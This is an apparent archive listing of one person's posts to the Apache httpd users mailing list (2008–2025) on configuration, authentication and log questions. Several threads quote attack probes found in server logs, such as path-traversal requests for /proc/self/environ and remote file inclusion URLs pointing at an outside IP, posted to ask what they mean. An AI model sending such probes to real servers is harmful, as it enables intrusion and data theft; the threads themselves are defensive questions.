[users@httpd] Was there a post about mis-matched libraries?

2025-05-21 Thread Knute Johnson
I seem to remember a post a few weeks ago about mis-matched libraries causing apache to shut down right after startup. Was that on this list? Was there a resolution? Thanks, -- Knute Johnson gro...@knutejohnson.com - To

Re: [users@httpd] Unable to connect to Apache test website on LocalHost

2022-04-14 Thread Knute Johnson
7;m still curious. On 4/13/22 20:55, Frank Gingras wrote: A ping will not help with a 403 error. The error log needs to be reviewed, as it will expose the source of the 403 error. On Wed, 13 Apr 2022 at 18:18, Knute Johnson wrote: What do you get when you ping localhost? knute...

Re: [users@httpd] Unable to connect to Apache test website on LocalHost

2022-04-13 Thread Knute Johnson
he.org <mailto:users-unsubscr...@httpd.apache.org> For additional commands, e-mail: users-h...@httpd.apache.org <mailto:users-h...@httpd.apache.org> -- Knute Johnson - To unsubscribe, e-mail: users-unsubscr...@httpd.apache.org For additional commands, e-mail: users-h...@httpd.apache.org

Re: [users@httpd] Where does apache look for the domain name?

2015-06-21 Thread Knute Johnson
p://www.linkedin.com/in/gregborbonus/ On 6/21/2015 9:12 AM, aparna Puram wrote: In httpd.conf file On 21-Jun-2015 7:37 pm, "Knute Johnson" <mailto:apa...@knutejohnson.com>> wrote: Got this in my log: /etc/cron.daily/logrotate: apache2: Could not reliably

[users@httpd] Where does apache look for the domain name?

2015-06-21 Thread Knute Johnson
Got this in my log: /etc/cron.daily/logrotate: apache2: Could not reliably determine the server's fully qualified domain name, using 216.240.58.141 for ServerName Where does apache look for the domain name? Thanks, -- Knute Jo

Re: [users@httpd] Possible exploit?

2014-02-12 Thread Knute Johnson
=&shopid= <http://yoursite.com/sid=&shopid=>http://www.google.com/humans.txt? would show you what he got If I do the above I get a File Not Found (404). I think there must be more to it than that. --

Re: [users@httpd] Possible exploit?

2014-02-12 Thread Knute Johnson
? Thanks, -- Knute Johnson - To unsubscribe, e-mail: users-unsubscr...@httpd.apache.org For additional commands, e-mail: users-h...@httpd.apache.org

Re: [users@httpd] Possible exploit?

2014-02-12 Thread Knute Johnson
On 2/12/2014 08:04, rahul bhola wrote: in first and last casehe was checking if it is possible to pass shell commands throught command or cmd parameter.not sure on second one but it looks like he was testing for unsanitized url redirection vul. On Wed, Feb 12, 2014 at 9:28 PM, Knute Johnson

[users@httpd] Possible exploit?

2014-02-12 Thread Knute Johnson
TTP Response 302 -- Knute Johnson - To unsubscribe, e-mail: users-unsubscr...@httpd.apache.org For additional commands, e-mail: users-h...@httpd.apache.org

Re: [users@httpd] Error in accessing the home page

2012-11-29 Thread Knute Johnson
On 11/29/2012 3:10 PM, Alex Chen wrote: I downloaded the Apache 2.2.22 Windows msi and installed it as a console app, I copied all the files to C:/Program Files/Apache and uninstalled Apache to have a stock copy of the installation. I made the following changes in httpd.conf. ServerRoot "C:/

[users@httpd] Exploit?

2012-11-18 Thread Knute Johnson
A total of 2 possible successful probes were detected (the following URLs contain strings that match one or more of a listing of strings that indicate a possible exploit): /?mod=../../../../../../../../proc/self/environ%00 HTTP Response 200 /?page=../../../../../../../../proc/self/envi

Re: [users@httpd] How to allow specific IP to bypass .htaccess authentication ?

2012-08-10 Thread Knute Johnson
On 8/10/2012 5:11 AM, J. Bakshi wrote: Dear list, I have the following in my .htaccess to force the authentication [] AuthName "htaccess password prompt" AuthUserFile /home/askapache.com/.htpasswd AuthType Basic Require valid-user [...] Now I like some IPs to bypass the authentication. Hen

Re: [users@httpd] Rewrite log question?

2012-01-13 Thread Knute Johnson
On 1/13/2012 11:39 AM, Frank Gingras wrote: On 13/01/2012 12:09 PM, Knute Johnson wrote: What does "pass through" mean in the rewrite log? 96.48.60.245 - - [10/Jan/2012:08:50:38 --0800] [www.lonejuniper.com/sid#7f05e90e db68][rid#7f05d70990a0/initial] (1) pass through /alpaca320.j

[users@httpd] Rewrite log question?

2012-01-13 Thread Knute Johnson
What does "pass through" mean in the rewrite log? 96.48.60.245 - - [10/Jan/2012:08:50:38 --0800] [www.lonejuniper.com/sid#7f05e90e db68][rid#7f05d70990a0/initial] (1) pass through /alpaca320.jpg Thanks, - The official User-To

Re: [users@httpd] virtualhost on localhost with .htaccess

2012-01-06 Thread Knute Johnson
t;2. How to be sure that it is well configured ? > > >thx. >-- >Alain >--- >Windows 7 x64 / Fedora 14 x64 >PostgreSQL 8.3.5 / MySQL 5 >Apache 2.2.16 >PHP 5.3.1 >C# 2005-2008 -- Knute Johnson ---

Re: [users@httpd] Some sort of hack attempt?

2011-12-20 Thread Knute Johnson
Thanks Mathijs. On 12/20/2011 9:55 AM, Mathijs wrote: Looks like an automated hacking tool using this list, or a derative of it: http://ha.ckers.org/weird/rfi-locations.dat Kind regards, Mathijs On Tue, Dec 20, 2011 at 6:52 PM, Knute Johnson mailto:apa...@knutejohnson.com>> wrote:

[users@httpd] Some sort of hack attempt?

2011-12-20 Thread Knute Johnson
I got hundreds of these in my log today. Just curious if anybody knows what sort of attack this might be? /=http://62.141.58.186/google.txt: 4 Time(s) /A-Blog/navigation/donation.php?navigation ... .186/google.txt: 4 Time(s) /A-Blog/navigation/latestnews.php?navigati ... 1

Re: [users@httpd] Hack?

2011-12-13 Thread Knute Johnson
On 12/13/2011 7:57 PM, Yehuda Katz wrote: On Tue, Dec 13, 2011 at 10:33 PM, Knute Johnson mailto:apa...@knutejohnson.com>> wrote: On 12/13/2011 7:12 PM, Yehuda Katz wrote: On Tue, Dec 13, 2011 at 9:50 PM, Knute Johnson mailto:apa...@knutejohnson.com> <m

Re: [users@httpd] Hack?

2011-12-13 Thread Knute Johnson
On 12/13/2011 7:12 PM, Yehuda Katz wrote: On Tue, Dec 13, 2011 at 9:50 PM, Knute Johnson mailto:apa...@knutejohnson.com>> wrote: This showed up in my log today on a Ubuntu server with Apache 2.2.17. A total of 3 possible successful probes were detected (the following

[users@httpd] Hack?

2011-12-13 Thread Knute Johnson
This showed up in my log today on a Ubuntu server with Apache 2.2.17. A total of 3 possible successful probes were detected (the following URLs contain strings that match one or more of a listing of strings that indicate a possible exploit): /?file=../../../../../../proc/self/environ%00 HT

[users@httpd] Question about log?

2011-11-20 Thread Knute Johnson
illa/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0)" 216.240.58.140:80 71.198.234.91 - - [20/Nov/2011:10:57:27 -0800] "-" 408 0 "-" "-" Specifically the one with the 408 message? Requests with error response codes 408 Reque

Re: [users@httpd] Files and DirectoryIndex conflict?

2011-05-28 Thread Knute Johnson
On 05/28/2011 02:07 PM, Jeroen Geilman wrote: On 05/28/2011 08:51 PM, Knute Johnson wrote: I'm having a problem using the Files directive to require authentication on the index.html file. It doesn't work if it is requested with the index URL but does if the URL specifies the file d

[users@httpd] Files and DirectoryIndex conflict?

2011-05-28 Thread Knute Johnson
Options Indexes MultiViews FollowSymLinks AllowOverride None Order deny,allow Deny from all Allow from 127.0.0.0/255.0.0.0 ::1/128 The DirectoryIndex directive is in dir.conf DirectoryIndex index.html index.cgi index.pl index.php index.xhtml index.htm

Re: [users@httpd] Problem with Files and Auth?

2011-05-16 Thread Knute Johnson
On 05/16/2011 09:05 AM, Tom Evans wrote: On Fri, May 13, 2011 at 3:57 PM, Knute Johnson wrote: ServerAdmin webmaster@localhost DocumentRoot /var/www Options FollowSymLinks AllowOverride None Options

Re: [users@httpd] Problem with Files and Auth?

2011-05-16 Thread Knute Johnson
On 05/16/2011 08:49 AM, Knute Johnson wrote: On 05/16/2011 02:33 AM, Tom Evans wrote: On Fri, May 13, 2011 at 3:57 PM, Knute Johnson wrote: Log when requesting http:/localhost/ 127.0.0.1 - - [13/May/2011:07:53:54 -0700] "GET / HTTP/1.1" 401 618 "-" "Mozilla/5.0 (X11;

Re: [users@httpd] Problem with Files and Auth?

2011-05-16 Thread Knute Johnson
On 05/16/2011 02:33 AM, Tom Evans wrote: On Fri, May 13, 2011 at 3:57 PM, Knute Johnson wrote: Log when requesting http:/localhost/ 127.0.0.1 - - [13/May/2011:07:53:54 -0700] "GET / HTTP/1.1" 401 618 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17) Ge

Re: [users@httpd] Problem with Files and Auth?

2011-05-13 Thread Knute Johnson
On 05/13/2011 02:14 AM, Tom Evans wrote: On Thu, May 12, 2011 at 6:45 PM, Knute Johnson wrote: I'm trying to use the Files directive to force auth for the index.html file and I'm getting the following error message if I don't specify the file name in the request. If I d

Re: [users@httpd] Problem with Files and Auth?

2011-05-12 Thread Knute Johnson
On 05/12/2011 01:03 PM, Jeroen Geilman wrote: On 05/12/2011 07:45 PM, Knute Johnson wrote: I'm trying to use the Files directive to force auth for the index.html file and I'm getting the following error message if I don't specify the file name in the request. If I d

[users@httpd] Problem with Files and Auth?

2011-05-12 Thread Knute Johnson
s the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required. No username/password dialog is presented with this error, just the error. Any ideas? Thanks

[users@httpd] Authorization configuration?

2011-05-07 Thread Knute Johnson
auth for all the other files. Is there a simple way around this? Ubuntu 10.10 Apache 2.2.16 Thanks, -- Knute Johnson - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org

Re: [EMAIL PROTECTED] FilesMatch problem?

2008-11-29 Thread Knute Johnson
Eric Covener wrote: On Sat, Nov 29, 2008 at 1:36 PM, Knute Johnson <[EMAIL PROTECTED]> wrote: Thanks, I tried that but it didn't work. I'm just surprised that with Options Indexes and a FilesMatch that you lose the index of the matching files. I don't think you general

Re: [EMAIL PROTECTED] FilesMatch problem?

2008-11-29 Thread Knute Johnson
ve no idea what that means. -- Knute Johnson [EMAIL PROTECTED] - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EM

Re: [EMAIL PROTECTED] FilesMatch problem?

2008-11-29 Thread Knute Johnson
Eric Covener wrote: On Sat, Nov 29, 2008 at 1:14 PM, Knute Johnson <[EMAIL PROTECTED]> wrote: Order isn't the problem but I've identified part of it. I can access the .dat files but I can't see them with the index. That's why I thought I couldn't get to them.

Re: [EMAIL PROTECTED] FilesMatch problem?

2008-11-29 Thread Knute Johnson
Eric Covener wrote: On Sat, Nov 29, 2008 at 3:19 AM, Knute Johnson <[EMAIL PROTECTED]> wrote: I'm trying to limit access in a directory to just files that have a .dat extension. The httpd.conf file is stock with the addition of Options Indexes Allow from all

[EMAIL PROTECTED] FilesMatch problem?

2008-11-29 Thread Knute Johnson
rk. I get "Forbidden" when I try to load it in the browser. I can deny all the .dat files and that works, why doesn't allowing them? Thanks, -- Knute Johnson [EMAIL PROTECTED] - The official User-To-User support

[EMAIL PROTECTED] Serving content for hand held devices and phones?

2008-10-21 Thread Knute Johnson
What is the normal procedure to serve up different content for small hand held devices like phones and PDAs? Thanks, -- knute... - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.ap